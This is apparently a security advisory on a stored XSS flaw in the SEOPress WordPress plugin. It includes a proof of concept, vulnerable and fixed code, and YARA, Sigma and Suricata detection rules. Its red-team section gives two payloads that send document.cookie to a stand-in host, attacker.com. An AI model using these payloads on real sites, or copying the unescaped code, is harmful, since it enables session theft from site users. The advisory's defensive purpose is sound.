CVE-2024-1134

Executive Summary

CVE-2024-1134 is a Stored Cross-Site Scripting (XSS) vulnerability in the SEOPress – On-site SEO plugin for WordPress, affecting all versions up to and including 7.5.2.1. The flaw resides in insufficient input sanitization and output escaping of SEO title and description parameters, as well as other related fields. An attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When any user (including administrators) accesses the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further site compromise. The CVSS score is 6.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis. No public exploit code or Nuclei template is available, but the vulnerability is well-documented and can be reproduced manually.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they become available. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks. Administrators should verify plugin integrity via checksums and restrict contributor access to trusted users only.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires authenticated access (contributor or higher) and user interaction, but successful exploitation can lead to persistent XSS, affecting all site visitors and administrators.

Deep Dive & Mechanics

The SEOPress plugin stores SEO metadata (title, description, etc.) for posts and pages in the WordPress database. When rendering these fields on the frontend or in the admin panel, the plugin fails to properly sanitize and escape user-supplied input. Specifically, the wp_kses or similar filtering functions are either not applied or are applied incorrectly, allowing HTML and JavaScript to be stored.

Attack Flow:

1. An attacker with contributor-level access edits a post or page.
2. In the SEO title or description field, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the database without proper sanitization.
4. When any user (including admins) views the post or page, the payload executes in their browser.
5. The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: Insufficient input validation and output escaping in the plugin’s meta box handling and frontend rendering functions.

Vulnerable vs. Patched Code

Vulnerable Code (SEOPress <= 7.5.2.1):

// In seopress-metabox.php or similar
function seopress_display_meta_title($post_id) {
    $meta_title = get_post_meta($post_id, '_seopress_titles_title', true);
    echo '<input type="text" value="' . $meta_title . '" />'; // No escaping
}

Patched Code (Hypothetical Fix):

function seopress_display_meta_title($post_id) {
    $meta_title = get_post_meta($post_id, '_seopress_titles_title', true);
    echo '<input type="text" value="' . esc_attr($meta_title) . '" />'; // Proper escaping
}

The fix involves using esc_attr() for HTML attribute contexts and esc_html() for general HTML output, as well as applying wp_kses_post() or similar sanitization on input.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• WordPress installation with SEOPress plugin <= 7.5.2.1
• Contributor-level account

Steps:

1. Log in as a contributor.
2. Create or edit a post.
3. In the SEO title field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Publish or save the post.
5. Wait for an admin or visitor to view the post.

Manual Payload Example:

<script>new Image().src='https://attacker.com/log?c='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual HTML/JavaScript in SEO meta fields via database queries.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to wp-admin/post.php.
• Enable WordPress security plugins that scan for malicious content.

Hardening:

• Restrict contributor roles to trusted users only.
• Apply input validation and output escaping manually if no patch is available.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes: (None provided; check plugin file integrity)
• Database Entries: Posts/pages with _seopress_titles_title or _seopress_titles_desc meta keys containing <script> tags or event handlers.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual POST requests to wp-admin/post.php with XSS payloads in seopress_titles_title parameter.

Detection Engineering

YARA Rule

rule CVE_2024_1134_SEOPress_XSS {
    meta:
        description = "Detects stored XSS payloads in SEOPress meta fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1134"
    strings:
        $meta_key = "_seopress_titles_title" nocase
        $meta_key2 = "_seopress_titles_desc" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        ($meta_key or $meta_key2) and ($xss_payload or $xss_event)
}

Sigma Rule

title: Stored XSS in SEOPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in SEOPress SEO meta fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: 'seopress_titles_title'
    filter:
        http.body|contains: '<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of JavaScript in meta fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1134 SEOPress Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"seopress_titles_title"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the SEOPress plugin until a patched version is released.
2. Review and clean any existing posts/pages for malicious SEO meta fields.
3. Restrict contributor-level access to only trusted users.

Long-term Fix:

• Apply the vendor’s official patch when available.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Regularly update all WordPress plugins and core.

Workaround:

• Manually add output escaping in the plugin’s template files (not recommended for non-developers).
• Use a security plugin like Wordfence to block XSS attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence